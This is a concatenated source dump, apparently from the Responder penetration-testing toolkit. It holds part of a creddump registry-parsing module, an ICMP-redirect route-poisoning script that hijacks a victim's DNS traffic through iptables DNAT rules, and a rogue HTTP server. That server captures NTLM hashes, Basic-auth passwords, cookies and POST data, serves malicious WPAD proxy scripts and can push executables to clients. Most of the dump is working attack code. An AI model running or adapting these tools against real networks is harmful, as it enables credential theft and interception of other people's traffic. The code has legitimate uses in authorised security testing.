9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with creddump. If not, see . 15 | 16 | """ 17 | @author: Brendan Dolan-Gavitt 18 | @license: GNU General Public License 2.0 or later 19 | @contact: bdolangavitt@wesleyan.edu 20 | """ 21 | 22 | from framework.object import * 23 | from framework.types import regtypes as types 24 | from operator import itemgetter 25 | from struct import unpack 26 | 27 | def get_ptr_type(structure, member): 28 | """Return the type a pointer points to. 29 | 30 | Arguments: 31 | structure : the name of the structure from vtypes 32 | member : a list of members 33 | 34 | Example: 35 | get_ptr_type('_EPROCESS', ['ActiveProcessLinks', 'Flink']) => ['_LIST_ENTRY'] 36 | """ 37 | if len(member) > 1: 38 | _, tp = get_obj_offset(types, [structure, member[0]]) 39 | if tp == 'array': 40 | return types[structure][1][member[0]][1][2][1] 41 | else: 42 | return get_ptr_type(tp, member[1:]) 43 | else: 44 | return types[structure][1][member[0]][1][1] 45 | 46 | class Obj(object): 47 | """Base class for all objects. 48 | 49 | May return a subclass for certain data types to allow 50 | for special handling. 51 | """ 52 | 53 | def __new__(typ, name, address, space): 54 | if name in globals(): 55 | # This is a bit of "magic" 56 | # Could be replaced with a dict mapping type names to types 57 | return globals()[name](name,address,space) 58 | elif name in builtin_types: 59 | return Primitive(name, address, space) 60 | else: 61 | obj = object.__new__(typ) 62 | return obj 63 | 64 | def __init__(self, name, address, space): 65 | self.name = name 66 | self.address = address 67 | self.space = space 68 | 69 | # Subclasses can add fields to this list if they want them 70 | # to show up in values() or members(), even if they do not 71 | # appear in the vtype definition 72 | self.extra_members = [] 73 | 74 | def __getattribute__(self, attr): 75 | try: 76 | return object.__getattribute__(self, attr) 77 | except AttributeError: 78 | pass 79 | 80 | if self.name in builtin_types: 81 | raise AttributeError("Primitive types have no dynamic attributes") 82 | 83 | try: 84 | off, tp = get_obj_offset(types, [self.name, attr]) 85 | except: 86 | raise AttributeError("'%s' has no attribute '%s'" % (self.name, attr)) 87 | 88 | if tp == 'array': 89 | a_len = types[self.name][1][attr][1][1] 90 | l = [] 91 | for i in range(a_len): 92 | a_off, a_tp = get_obj_offset(types, [self.name, attr, i]) 93 | if a_tp == 'pointer': 94 | ptp = get_ptr_type(self.name, [attr, i]) 95 | l.append(Pointer(a_tp, self.address+a_off, self.space, ptp)) 96 | else: 97 | l.append(Obj(a_tp, self.address+a_off, self.space)) 98 | return l 99 | elif tp == 'pointer': 100 | # Can't just return a Obj here, since pointers need to also 101 | # know what type they point to. 102 | ptp = get_ptr_type(self.name, [attr]) 103 | return Pointer(tp, self.address+off, self.space, ptp) 104 | else: 105 | return Obj(tp, self.address+off, self.space) 106 | 107 | def __div__(self, other): 108 | if isinstance(other,tuple) or isinstance(other,list): 109 | return Pointer(other[0], self.address, self.space, other[1]) 110 | elif isinstance(other,str): 111 | return Obj(other, self.address, self.space) 112 | else: 113 | raise ValueError("Must provide a type name as string for casting") 114 | 115 | def members(self): 116 | """Return a list of this object's members, sorted by offset.""" 117 | 118 | # Could also just return the list 119 | membs = [ (k, v[0]) for k,v in types[self.name][1].items()] 120 | membs.sort(key=itemgetter(1)) 121 | return map(itemgetter(0),membs) + self.extra_members 122 | 123 | def values(self): 124 | """Return a dictionary of this object's members and their values""" 125 | 126 | valdict = {} 127 | for k in self.members(): 128 | valdict[k] = getattr(self, k) 129 | return valdict 130 | 131 | def bytes(self, length=-1): 132 | """Get bytes starting at the address of this object. 133 | 134 | Arguments: 135 | length : the number of bytes to read. Default: size of 136 | this object. 137 | """ 138 | 139 | if length == -1: 140 | length = self.size() 141 | return self.space.read(self.address, length) 142 | 143 | def size(self): 144 | """Get the size of this object.""" 145 | 146 | if self.name in builtin_types: 147 | return builtin_types[self.name][0] 148 | else: 149 | return types[self.name][0] 150 | 151 | def __repr__(self): 152 | return "<%s @%08x>" % (self.name, self.address) 153 | 154 | def __eq__(self, other): 155 | if not isinstance(other, Obj): 156 | raise TypeError("Types are incomparable") 157 | return self.address == other.address and self.name == other.name 158 | 159 | def __ne__(self, other): 160 | return not self.__eq__(other) 161 | 162 | def __hash__(self): 163 | return hash(self.address) ^ hash(self.name) 164 | 165 | def is_valid(self): 166 | return self.space.is_valid_address(self.address) 167 | 168 | def get_offset(self, member): 169 | return get_obj_offset(types, [self.name] + member) 170 | 171 | class Primitive(Obj): 172 | """Class to represent a primitive data type. 173 | 174 | Attributes: 175 | value : the python primitive value of this type 176 | """ 177 | 178 | def __new__(typ, *args, **kwargs): 179 | obj = object.__new__(typ) 180 | return obj 181 | 182 | def __init__(self, name, address, space): 183 | super(Primitive,self).__init__(name, address, space) 184 | length, fmt = builtin_types[name] 185 | data = space.read(address,length) 186 | if not data: self.value = None 187 | else: self.value = unpack(fmt,data)[0] 188 | 189 | def __repr__(self): 190 | return repr(self.value) 191 | 192 | def members(self): 193 | return [] 194 | 195 | class Pointer(Obj): 196 | """Class to represent pointers. 197 | 198 | value : the object pointed to 199 | 200 | If an attribute is not found in this instance, 201 | the attribute will be looked up in the referenced 202 | object.""" 203 | 204 | def __new__(typ, *args, **kwargs): 205 | obj = object.__new__(typ) 206 | return obj 207 | 208 | def __init__(self, name, address, space, ptr_type): 209 | super(Pointer,self).__init__(name, address, space) 210 | ptr_address = read_value(space, name, address) 211 | if ptr_type[0] == 'pointer': 212 | self.value = Pointer(ptr_type[0], ptr_address, self.space, ptr_type[1]) 213 | else: 214 | self.value = Obj(ptr_type[0], ptr_address, self.space) 215 | 216 | def __getattribute__(self, attr): 217 | # It's still nice to be able to access things through pointers 218 | # without having to explicitly dereference them, so if we don't 219 | # find an attribute via our superclass, just dereference the pointer 220 | # and return the attribute in the pointed-to type. 221 | try: 222 | return super(Pointer,self).__getattribute__(attr) 223 | except AttributeError: 224 | return getattr(self.value, attr) 225 | 226 | def __repr__(self): 227 | return "" % (self.value.name, self.value.address) 228 | 229 | def members(self): 230 | return self.value.members() 231 | 232 | class _UNICODE_STRING(Obj): 233 | """Class representing a _UNICODE_STRING 234 | 235 | Adds the following behavior: 236 | * The Buffer attribute is presented as a Python string rather 237 | than a pointer to an unsigned short. 238 | * The __str__ method returns the value of the Buffer. 239 | """ 240 | 241 | def __new__(typ, *args, **kwargs): 242 | obj = object.__new__(typ) 243 | return obj 244 | 245 | def __str__(self): 246 | return self.Buffer 247 | 248 | # Custom Attributes 249 | def getBuffer(self): 250 | return read_unicode_string(self.space, types, [], self.address) 251 | Buffer = property(fget=getBuffer) 252 | 253 | class _CM_KEY_NODE(Obj): 254 | def __new__(typ, *args, **kwargs): 255 | obj = object.__new__(typ) 256 | return obj 257 | 258 | def getName(self): 259 | return read_string(self.space, types, ['_CM_KEY_NODE', 'Name'], 260 | self.address, self.NameLength.value) 261 | Name = property(fget=getName) 262 | 263 | class _CM_KEY_VALUE(Obj): 264 | def __new__(typ, *args, **kwargs): 265 | obj = object.__new__(typ) 266 | return obj 267 | 268 | def getName(self): 269 | return read_string(self.space, types, ['_CM_KEY_VALUE', 'Name'], 270 | self.address, self.NameLength.value) 271 | Name = property(fget=getName) 272 | 273 | class _CHILD_LIST(Obj): 274 | def __new__(typ, *args, **kwargs): 275 | obj = object.__new__(typ) 276 | return obj 277 | 278 | def getList(self): 279 | lst = [] 280 | list_address = read_obj(self.space, types, 281 | ['_CHILD_LIST', 'List'], self.address) 282 | for i in range(self.Count.value): 283 | lst.append(Pointer("pointer", list_address+(i*4), self.space, 284 | ["_CM_KEY_VALUE"])) 285 | return lst 286 | List = property(fget=getList) 287 | 288 | class _CM_KEY_INDEX(Obj): 289 | def __new__(typ, *args, **kwargs): 290 | obj = object.__new__(typ) 291 | return obj 292 | 293 | def getList(self): 294 | lst = [] 295 | for i in range(self.Count.value): 296 | # we are ignoring the hash value here 297 | off,tp = get_obj_offset(types, ['_CM_KEY_INDEX', 'List', i*2]) 298 | lst.append(Pointer("pointer", self.address+off, self.space, 299 | ["_CM_KEY_NODE"])) 300 | return lst 301 | List = property(fget=getList) 302 | -------------------------------------------------------------------------------- /tools/Icmp-Redirect.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import socket 18 | import struct 19 | import optparse 20 | import pipes 21 | import sys 22 | from socket import * 23 | sys.path.append('../') 24 | from odict import OrderedDict 25 | from random import randrange 26 | from time import sleep 27 | from subprocess import call 28 | from packets import Packet 29 | 30 | parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1', 31 | prog=sys.argv[0], 32 | ) 33 | parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP") 34 | parser.add_option('-g', '--gateway',action="store", help="The ip address of the original gateway (issue the command 'route -n' to know where is the gateway", metavar="10.20.30.254",dest="OriginalGwAddr") 35 | parser.add_option('-t', '--target',action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP") 36 | parser.add_option('-r', '--route',action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost") 37 | parser.add_option('-s', '--secondaryroute',action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2") 38 | parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface") 39 | parser.add_option('-a', '--alternate',action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr") 40 | options, args = parser.parse_args() 41 | 42 | if options.OURIP is None: 43 | print "-i mandatory option is missing.\n" 44 | parser.print_help() 45 | exit(-1) 46 | elif options.OriginalGwAddr is None: 47 | print "-g mandatory option is missing, please provide the original gateway address.\n" 48 | parser.print_help() 49 | exit(-1) 50 | elif options.VictimIP is None: 51 | print "-t mandatory option is missing, please provide a target.\n" 52 | parser.print_help() 53 | exit(-1) 54 | elif options.Interface is None: 55 | print "-I mandatory option is missing, please provide your network interface.\n" 56 | parser.print_help() 57 | exit(-1) 58 | elif options.ToThisHost is None: 59 | print "-r mandatory option is missing, please provide a destination target.\n" 60 | parser.print_help() 61 | exit(-1) 62 | 63 | if options.AlternateGwAddr is None: 64 | AlternateGwAddr = options.OURIP 65 | 66 | #Setting some vars. 67 | OURIP = options.OURIP 68 | OriginalGwAddr = options.OriginalGwAddr 69 | AlternateGwAddr = options.AlternateGwAddr 70 | VictimIP = options.VictimIP 71 | ToThisHost = options.ToThisHost 72 | ToThisHost2 = options.ToThisHost2 73 | Interface = options.Interface 74 | 75 | def Show_Help(ExtraHelpData): 76 | print("\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to laurent.gaffie@gmail.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n") 77 | print(ExtraHelpData) 78 | 79 | MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP) 80 | 81 | def GenCheckSum(data): 82 | s = 0 83 | for i in range(0, len(data), 2): 84 | q = ord(data[i]) + (ord(data[i+1]) << 8) 85 | f = s + q 86 | s = (f & 0xffff) + (f >> 16) 87 | return struct.pack("H", len(CalculateLen)) 149 | # Then CheckSum this packet 150 | CheckSumCalc =str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"]) 151 | self.fields["CheckSum"] = GenCheckSum(CheckSumCalc) 152 | 153 | class ICMPRedir(Packet): 154 | fields = OrderedDict([ 155 | ("Type", "\x05"), 156 | ("OpCode", "\x01"), 157 | ("CheckSum", "\x00\x00"), 158 | ("GwAddr", ""), 159 | ("Data", ""), 160 | ]) 161 | 162 | def calculate(self): 163 | self.fields["GwAddr"] = inet_aton(OURIP) 164 | CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"]) 165 | self.fields["CheckSum"] = GenCheckSum(CheckSumCalc) 166 | 167 | class DummyUDP(Packet): 168 | fields = OrderedDict([ 169 | ("SrcPort", "\x00\x35"), #port 53 170 | ("DstPort", "\x00\x35"), 171 | ("Len", "\x00\x08"), #Always 8 in this case. 172 | ("CheckSum", "\x00\x00"), #CheckSum disabled. 173 | ]) 174 | 175 | def ReceiveArpFrame(DstAddr): 176 | s = socket(AF_PACKET, SOCK_RAW) 177 | s.settimeout(5) 178 | Protocol = 0x0806 179 | s.bind((Interface, Protocol)) 180 | OurMac = s.getsockname()[4] 181 | Eth = EthARP(SrcMac=OurMac) 182 | Arp = ARPWhoHas(DstIP=DstAddr,SenderMac=OurMac) 183 | Arp.calculate() 184 | final = str(Eth)+str(Arp) 185 | try: 186 | s.send(final) 187 | data = s.recv(1024) 188 | DstMac = data[22:28] 189 | DestMac = DstMac.encode('hex') 190 | PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)]) 191 | return PrintMac,DstMac 192 | except: 193 | print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr) 194 | exit(1) 195 | 196 | def IcmpRedirectSock(DestinationIP): 197 | PrintMac,DestMac = ReceiveArpFrame(VictimIP) 198 | print '[ARP]Target Mac address is :',PrintMac 199 | PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr) 200 | print '[ARP]Router Mac address is :',PrintMac 201 | s = socket(AF_PACKET, SOCK_RAW) 202 | Protocol = 0x0800 203 | s.bind((Interface, Protocol)) 204 | Eth = Eth2(DstMac=DestMac,SrcMac=RouterMac) 205 | IPPackUDP = IPPacket(Cmd="\x11",SrcIP=VictimIP,DestIP=DestinationIP,TTL="\x40",Data=str(DummyUDP())) 206 | IPPackUDP.calculate() 207 | ICMPPack = ICMPRedir(GwAddr=AlternateGwAddr,Data=str(IPPackUDP)) 208 | ICMPPack.calculate() 209 | IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack)) 210 | IPPack.calculate() 211 | final = str(Eth)+str(IPPack) 212 | s.send(final) 213 | print '\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP) 214 | 215 | def FindWhatToDo(ToThisHost2): 216 | if ToThisHost2 != None: 217 | Show_Help('Hit CTRL-C to kill this script') 218 | RunThisInLoop(ToThisHost, ToThisHost2,OURIP) 219 | if ToThisHost2 == None: 220 | Show_Help(MoreHelp) 221 | IcmpRedirectSock(DestinationIP=ToThisHost) 222 | exit() 223 | 224 | def RunThisInLoop(host, host2, ip): 225 | dns1 = pipes.quote(host) 226 | dns2 = pipes.quote(host2) 227 | ouripadd = pipes.quote(ip) 228 | call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True) 229 | call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True) 230 | print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers." 231 | while True: 232 | IcmpRedirectSock(DestinationIP=dns1) 233 | IcmpRedirectSock(DestinationIP=dns2) 234 | print "[+]Repoisoning the target in 8 minutes..." 235 | sleep(480) 236 | 237 | FindWhatToDo(ToThisHost2) 238 | -------------------------------------------------------------------------------- /servers/HTTP.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import struct 18 | from SocketServer import BaseRequestHandler, StreamRequestHandler 19 | from base64 import b64decode 20 | from utils import * 21 | 22 | from packets import NTLM_Challenge 23 | from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans,WEBDAV_Options_Answer 24 | from packets import WPADScript, ServeExeFile, ServeHtmlFile 25 | 26 | 27 | # Parse NTLMv1/v2 hash. 28 | def ParseHTTPHash(data, Challenge, client, module): 29 | LMhashLen = struct.unpack(' 24: 57 | NthashLen = 64 58 | DomainLen = struct.unpack(' 1 and settings.Config.Verbose: 82 | print text("[HTTP] Cookie : %s " % Cookie) 83 | return Cookie 84 | return False 85 | 86 | def GrabHost(data, host): 87 | Host = re.search(r'(Host:*.\=*)[^\r\n]*', data) 88 | 89 | if Host: 90 | Host = Host.group(0).replace('Host: ', '') 91 | if settings.Config.Verbose: 92 | print text("[HTTP] Host : %s " % color(Host, 3)) 93 | return Host 94 | return False 95 | 96 | def GrabReferer(data, host): 97 | Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data) 98 | 99 | if Referer: 100 | Referer = Referer.group(0).replace('Referer: ', '') 101 | if settings.Config.Verbose: 102 | print text("[HTTP] Referer : %s " % color(Referer, 3)) 103 | return Referer 104 | return False 105 | 106 | def SpotFirefox(data): 107 | UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data) 108 | if UserAgent: 109 | print text("[HTTP] %s" % color("User-Agent : "+UserAgent[0], 2)) 110 | IsFirefox = re.search('Firefox', UserAgent[0]) 111 | if IsFirefox: 112 | print color("[WARNING]: Mozilla doesn't switch to fail-over proxies (as it should) when one's failing.", 1) 113 | print color("[WARNING]: The current WPAD script will cause disruption on this host. Sending a dummy wpad script (DIRECT connect)", 1) 114 | return True 115 | else: 116 | return False 117 | 118 | def WpadCustom(data, client): 119 | Wpad = re.search(r'(/wpad.dat|/*\.pac)', data) 120 | if Wpad and SpotFirefox(data): 121 | Buffer = WPADScript(Payload="function FindProxyForURL(url, host){return 'DIRECT';}") 122 | Buffer.calculate() 123 | return str(Buffer) 124 | 125 | if Wpad and SpotFirefox(data) == False: 126 | Buffer = WPADScript(Payload=settings.Config.WPAD_Script) 127 | Buffer.calculate() 128 | return str(Buffer) 129 | return False 130 | 131 | def IsWebDAV(data): 132 | dav = re.search('PROPFIND', data) 133 | if dav: 134 | return True 135 | else: 136 | return False 137 | 138 | def ServeOPTIONS(data): 139 | WebDav= re.search('OPTIONS', data) 140 | if WebDav: 141 | Buffer = WEBDAV_Options_Answer() 142 | return str(Buffer) 143 | 144 | return False 145 | 146 | def ServeFile(Filename): 147 | with open (Filename, "rb") as bk: 148 | return bk.read() 149 | 150 | def RespondWithFile(client, filename, dlname=None): 151 | 152 | if filename.endswith('.exe'): 153 | Buffer = ServeExeFile(Payload = ServeFile(filename), ContentDiFile=dlname) 154 | else: 155 | Buffer = ServeHtmlFile(Payload = ServeFile(filename)) 156 | 157 | Buffer.calculate() 158 | print text("[HTTP] Sending file %s to %s" % (filename, client)) 159 | return str(Buffer) 160 | 161 | def GrabURL(data, host): 162 | GET = re.findall(r'(?<=GET )[^HTTP]*', data) 163 | POST = re.findall(r'(?<=POST )[^HTTP]*', data) 164 | POSTDATA = re.findall(r'(?<=\r\n\r\n)[^*]*', data) 165 | 166 | if GET and settings.Config.Verbose: 167 | print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5))) 168 | 169 | if POST and settings.Config.Verbose: 170 | print text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5))) 171 | 172 | if len(''.join(POSTDATA)) > 2: 173 | print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip()) 174 | 175 | # Handle HTTP packet sequence. 176 | def PacketSequence(data, client, Challenge): 177 | NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) 178 | Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data) 179 | 180 | # Serve the .exe if needed 181 | if settings.Config.Serve_Always is True or (settings.Config.Serve_Exe is True and re.findall('.exe', data)): 182 | return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName) 183 | 184 | # Serve the custom HTML if needed 185 | if settings.Config.Serve_Html: 186 | return RespondWithFile(client, settings.Config.Html_Filename) 187 | 188 | WPAD_Custom = WpadCustom(data, client) 189 | # Webdav 190 | if ServeOPTIONS(data): 191 | return ServeOPTIONS(data) 192 | 193 | if NTLM_Auth: 194 | Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] 195 | print "Challenge 2:", Challenge.encode('hex') 196 | if Packet_NTLM == "\x01": 197 | GrabURL(data, client) 198 | GrabReferer(data, client) 199 | GrabHost(data, client) 200 | GrabCookie(data, client) 201 | 202 | Buffer = NTLM_Challenge(ServerChallenge=Challenge) 203 | Buffer.calculate() 204 | 205 | Buffer_Ans = IIS_NTLM_Challenge_Ans() 206 | Buffer_Ans.calculate(str(Buffer)) 207 | return str(Buffer_Ans) 208 | 209 | if Packet_NTLM == "\x03": 210 | NTLM_Auth = b64decode(''.join(NTLM_Auth)) 211 | if IsWebDAV(data): 212 | module = "WebDAV" 213 | else: 214 | module = "HTTP" 215 | ParseHTTPHash(NTLM_Auth, Challenge, client, module) 216 | 217 | if settings.Config.Force_WPAD_Auth and WPAD_Custom: 218 | print text("[HTTP] WPAD (auth) file sent to %s" % client) 219 | 220 | return WPAD_Custom 221 | else: 222 | Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) 223 | Buffer.calculate() 224 | return str(Buffer) 225 | 226 | elif Basic_Auth: 227 | ClearText_Auth = b64decode(''.join(Basic_Auth)) 228 | 229 | GrabURL(data, client) 230 | GrabReferer(data, client) 231 | GrabHost(data, client) 232 | GrabCookie(data, client) 233 | 234 | SaveToDb({ 235 | 'module': 'HTTP', 236 | 'type': 'Basic', 237 | 'client': client, 238 | 'user': ClearText_Auth.split(':')[0], 239 | 'cleartext': ClearText_Auth.split(':')[1], 240 | }) 241 | 242 | if settings.Config.Force_WPAD_Auth and WPAD_Custom: 243 | if settings.Config.Verbose: 244 | print text("[HTTP] WPAD (auth) file sent to %s" % client) 245 | 246 | return WPAD_Custom 247 | else: 248 | Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) 249 | Buffer.calculate() 250 | return str(Buffer) 251 | else: 252 | if settings.Config.Basic: 253 | Response = IIS_Basic_401_Ans() 254 | if settings.Config.Verbose: 255 | print text("[HTTP] Sending BASIC authentication request to %s" % client) 256 | 257 | else: 258 | Response = IIS_Auth_401_Ans() 259 | if settings.Config.Verbose: 260 | print text("[HTTP] Sending NTLM authentication request to %s" % client) 261 | 262 | return str(Response) 263 | 264 | # HTTP Server class 265 | class HTTP(BaseRequestHandler): 266 | 267 | def handle(self): 268 | try: 269 | Challenge = RandomChallenge() 270 | 271 | while True: 272 | self.request.settimeout(3) 273 | remaining = 10*1024*1024 #setting max recieve size 274 | data = '' 275 | while True: 276 | buff = '' 277 | buff = self.request.recv(8092) 278 | if buff == '': 279 | break 280 | data += buff 281 | remaining -= len(buff) 282 | if remaining <= 0: 283 | break 284 | #check if we recieved the full header 285 | if data.find('\r\n\r\n') != -1: 286 | #we did, now to check if there was anything else in the request besides the header 287 | if data.find('Content-Length') == -1: 288 | #request contains only header 289 | break 290 | else: 291 | #searching for that content-length field in the header 292 | for line in data.split('\r\n'): 293 | if line.find('Content-Length') != -1: 294 | line = line.strip() 295 | remaining = int(line.split(':')[1].strip()) - len(data) 296 | 297 | #now the data variable has the full request 298 | Buffer = WpadCustom(data, self.client_address[0]) 299 | 300 | if Buffer and settings.Config.Force_WPAD_Auth == False: 301 | self.request.send(Buffer) 302 | self.request.close() 303 | if settings.Config.Verbose: 304 | print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]) 305 | 306 | else: 307 | Buffer = PacketSequence(data,self.client_address[0], Challenge) 308 | self.request.send(Buffer) 309 | 310 | except socket.error: 311 | pass 312 | 313 | -------------------------------------------------------------------------------- /settings.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import utils 18 | import ConfigParser 19 | import subprocess 20 | 21 | from utils import * 22 | 23 | __version__ = 'Responder 2.3.3.6' 24 | 25 | class Settings: 26 | 27 | def __init__(self): 28 | self.ResponderPATH = os.path.dirname(__file__) 29 | self.Bind_To = '0.0.0.0' 30 | 31 | def __str__(self): 32 | ret = 'Settings class:\n' 33 | for attr in dir(self): 34 | value = str(getattr(self, attr)).strip() 35 | ret += " Settings.%s = %s\n" % (attr, value) 36 | return ret 37 | 38 | def toBool(self, str): 39 | return str.upper() == 'ON' 40 | 41 | def ExpandIPRanges(self): 42 | def expand_ranges(lst): 43 | ret = [] 44 | for l in lst: 45 | tab = l.split('.') 46 | x = {} 47 | i = 0 48 | for byte in tab: 49 | if '-' not in byte: 50 | x[i] = x[i+1] = int(byte) 51 | else: 52 | b = byte.split('-') 53 | x[i] = int(b[0]) 54 | x[i+1] = int(b[1]) 55 | i += 2 56 | for a in range(x[0], x[1]+1): 57 | for b in range(x[2], x[3]+1): 58 | for c in range(x[4], x[5]+1): 59 | for d in range(x[6], x[7]+1): 60 | ret.append('%d.%d.%d.%d' % (a, b, c, d)) 61 | return ret 62 | 63 | self.RespondTo = expand_ranges(self.RespondTo) 64 | self.DontRespondTo = expand_ranges(self.DontRespondTo) 65 | 66 | def populate(self, options): 67 | 68 | if options.Interface is None and utils.IsOsX() is False: 69 | print utils.color("Error: -I mandatory option is missing", 1) 70 | sys.exit(-1) 71 | 72 | if options.Interface == "ALL" and options.OURIP == None: 73 | print utils.color("Error: -i is missing.\nWhen using -I ALL you need to provide your current ip address", 1) 74 | sys.exit(-1) 75 | 76 | # Config parsing 77 | config = ConfigParser.ConfigParser() 78 | config.read(os.path.join(self.ResponderPATH, 'Responder.conf')) 79 | 80 | # Servers 81 | self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP')) 82 | self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS')) 83 | self.SMB_On_Off = self.toBool(config.get('Responder Core', 'SMB')) 84 | self.SQL_On_Off = self.toBool(config.get('Responder Core', 'SQL')) 85 | self.FTP_On_Off = self.toBool(config.get('Responder Core', 'FTP')) 86 | self.POP_On_Off = self.toBool(config.get('Responder Core', 'POP')) 87 | self.IMAP_On_Off = self.toBool(config.get('Responder Core', 'IMAP')) 88 | self.SMTP_On_Off = self.toBool(config.get('Responder Core', 'SMTP')) 89 | self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP')) 90 | self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS')) 91 | self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos')) 92 | 93 | # Db File 94 | self.DatabaseFile = os.path.join(self.ResponderPATH, config.get('Responder Core', 'Database')) 95 | 96 | # Log Files 97 | self.LogDir = os.path.join(self.ResponderPATH, 'logs') 98 | 99 | if not os.path.exists(self.LogDir): 100 | os.mkdir(self.LogDir) 101 | 102 | self.SessionLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'SessionLog')) 103 | self.PoisonersLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'PoisonersLog')) 104 | self.AnalyzeLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'AnalyzeLog')) 105 | self.ResponderConfigDump = os.path.join(self.LogDir, config.get('Responder Core', 'ResponderConfigDump')) 106 | 107 | self.FTPLog = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt') 108 | self.IMAPLog = os.path.join(self.LogDir, 'IMAP-Clear-Text-Password-%s.txt') 109 | self.POP3Log = os.path.join(self.LogDir, 'POP3-Clear-Text-Password-%s.txt') 110 | self.HTTPBasicLog = os.path.join(self.LogDir, 'HTTP-Clear-Text-Password-%s.txt') 111 | 